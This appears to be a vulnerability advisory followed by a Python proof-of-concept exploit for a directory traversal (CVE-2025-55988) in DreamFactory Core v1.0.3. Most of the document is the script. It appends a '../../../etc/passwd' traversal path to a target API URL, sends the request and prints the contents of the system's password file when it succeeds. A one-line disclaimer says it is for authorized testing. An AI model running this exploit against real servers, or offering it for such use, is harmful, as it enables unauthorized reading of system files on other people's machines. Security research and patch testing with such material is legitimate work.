An issue in the component /Controllers/RestController.php of DreamFactory Core v1.0.3 allows attackers to execute a directory traversal via an unsanitized URI path.
The following code is for security research and authorized testing only.
python
import requests
def exploit_cve_2025_55988(target_url):
"""
PoC for CVE-2025-55988: Directory Traversal in DreamFactory Core v1.0.3.
This script attempts to read /etc/passwd via the vulnerable RestController.
Note: Requires authentication (High Privileges).
"""
# The traversal payload is injected into the URI path
# Adjust the endpoint prefix based on the specific installation
traversal_payload = "../../../etc/passwd"
# Construct the full malicious URL
# Example: http://target/api/v2/../../../etc/passwd
attack_url = f"{target_url.rstrip('/')}/{traversal_payload}"
# Headers might be needed for authentication (PR:H requirement)
headers = {
"User-Agent": "CVE-2025-55988-Scanner",
# "Authorization": "Bearer <token>" # Uncomment if auth is needed
}
try:
print(f"[+] Sending request to: {attack_url}")
response = requests.get(attack_url, headers=headers, timeout=10)
if response.status_code == 200 and "root:" in response.text:
print("[+] Exploit successful! Sensitive file content retrieved:")
print(response.text[:500]) # Print first 500 chars
else:
print(f"[-] Exploit failed or file not found. Status: {response.status_code}")
print(f"[-] Response: {response.text[:200]}")
except requests.exceptions.RequestException as e:
print(f"[!] Error occurred: {e}")
if __name__ == "__main__":
# Replace with the actual target URL
target = "http://127.0.0.1/api/v2/user"
exploit_cve_2025_55988(target)